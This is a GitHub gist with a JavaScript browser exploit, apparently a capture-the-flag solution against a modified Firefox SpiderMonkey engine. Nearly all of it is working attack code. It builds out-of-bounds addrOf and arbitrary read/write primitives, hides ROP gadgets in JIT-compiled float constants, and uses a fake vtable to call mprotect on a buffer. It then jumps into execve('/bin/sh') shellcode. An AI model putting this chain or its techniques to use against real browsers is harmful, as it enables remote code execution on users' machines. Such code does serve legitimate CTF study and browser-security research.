Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created August 23, 2021 06:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save hkraw/b665b1be9c8c196cb15eb406ce1772bd to your computer and use it in GitHub Desktop.
Save hkraw/b665b1be9c8c196cb15eb406ce1772bd to your computer and use it in GitHub Desktop.
first firefox pwn

outfoxed exp (First Blood)

let pwn = async function() {
  /* Helpers */
  let conversionBuffer = new ArrayBuffer(0x40)
  let floatView = new Float64Array(conversionBuffer)
  let intView = new BigUint64Array(conversionBuffer)

  BigInt.prototype.i2f = function() {
    intView[0] = this
    return floatView[0]
  }
  Number.prototype.f2i = function() {
    floatView[0] = this
    return intView[0]
  }
  BigInt.prototype.hex = function() {
    return '0x' + this.toString(16)
  }
  let log = function(msg) {
    fetch("/log?log=" + encodeURIComponent(msg))
  }
  let sleep = ms => new Promise(resolve=>setTimeout(resolve,ms))

  /* Exploit */
  let oobArr = new Array(6)
  oobArr[0] = 1.1
  let arb_arr = new Float64Array(1)
  arb_arr[0] = 1.1
  let obj_arr = new Array(arb_arr, oobArr,{},{},{})
  let leak_arr = new Uint8Array(8)
  for(let i = 0; i < 8; i++) leak_arr[i] = i
  oobArr.oob(11,0x1337n.i2f())

  let arbWrite64 = function(address, what) {
    let old = oobArr.oob(13)
    oobArr.oob(13,BigInt(address).i2f())
    arb_arr[0] = BigInt(what).i2f()
    oobArr.oob(13,old)
  }

  let arbRead64 = function(address) {
    let old = oobArr.oob(13)
    oobArr.oob(13, BigInt(address).i2f())
    let leak = arb_arr[0]
    oobArr.oob(13,old)
    return leak.f2i()
  }

  let backingStore_offset = 0x2f
  let inline_backingStore = arb_arr[backingStore_offset].f2i()
  let objectAddr = inline_backingStore - 0x70n

  let addrOf = function(object) {
    obj_arr[0] = object
    arb_arr[backingStore_offset] = objectAddr.i2f()
    let addr = 0n
    for(let i = 7; i >= 0; i--) {
      addr = addr << 8n
      addr += BigInt(leak_arr[i])
    }
    arb_arr[backingStore_offset] = inline_backingStore.i2f()
    return addr & 0xffffffffffffn
  }

  let jit = function() {
    let stack_pivot = -6.82852828217193e-229 // xchg rax, rsp; pop rax; ret; nop; nop; nop; nop;
    let stack_align = -2.968845038400643e+16 // add rsp, 0x40; pop rdi; pop rsi; pop rdx; ret;
    let syscall = -6.828844406088408e-229 // pop rax; ret; syscall ; ret; nop ; nop ; nop;
  }

  let shellcode = new Uint8Array(0x1000)
  let writer = new DataView(shellcode.buffer)
  let shellcodeAddr = arbRead64(addrOf(shellcode) + 0x30n)
  let sCode = [0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 
               0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 
               0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 
               0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05]
  log('Shellcode Addr: ' + shellcodeAddr.hex())
  for(let i = 0; i < sCode.length; i++) {
    shellcode[i] = sCode[i]
  }
  let target = new Uint8Array(90)
  let targetAddr = addrOf(target)
  log('Target addr: ' + targetAddr.hex())
  let targetGroup = arbRead64(targetAddr)
  log('Target group: ' + targetGroup.hex())
  let targetClasp = arbRead64(targetGroup)
  log('Target clasp: ' + targetClasp.hex())
  let targetCops = arbRead64(targetClasp + 0x10n)
  log('Target cops: ' + targetCops.hex())

  let fakeVtable = new Float64Array(200)
  let addrFakeVtable = addrOf(fakeVtable)
  let backingStore_vtable = arbRead64(addrFakeVtable + 0x30n)
  log('ROP Chain BackingStore: ' + backingStore_vtable.hex())

  for(let i = 0; i < 100; i++) jit()
  let jitAddr = addrOf(jit)
  log('Jit Addr: ' + jitAddr.hex())
  let gadget = arbRead64( arbRead64(jitAddr + 0x28n) )
  log('Gadgets: ' + gadget.hex())
  let stackPivot = gadget + 0x14cn
  log('Stack Pivot: ' + stackPivot.hex())
  let stackPivot2 = gadget + 0x15an
  let L_pop_rax = gadget + 0x168n
  let L_pop_rdi_rsi_rdx = gadget + 0x15en
  let L_syscall = gadget + 0x16an

  let ropChain = [
    0, stackPivot2,
    backingStore_vtable, 0,
    stackPivot, 0, 0x43434343,
    0x48484848, 0, 0x41414141,
    // pop rdi; pop rsi; pop rdx; ret;
    shellcodeAddr, 0x1000, 0x7,
    // pop rax; ret;
    L_pop_rax, 0xa,
    // syscall; ret;
    L_syscall,
    shellcodeAddr
  ]
  for(let i = 0; i < ropChain.length; i++) {
    fakeVtable[i] = BigInt(ropChain[i]).i2f()
  }
  arbWrite64(targetClasp, backingStore_vtable)
  log('trigger')
  target.kek = 1
}
pwn()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment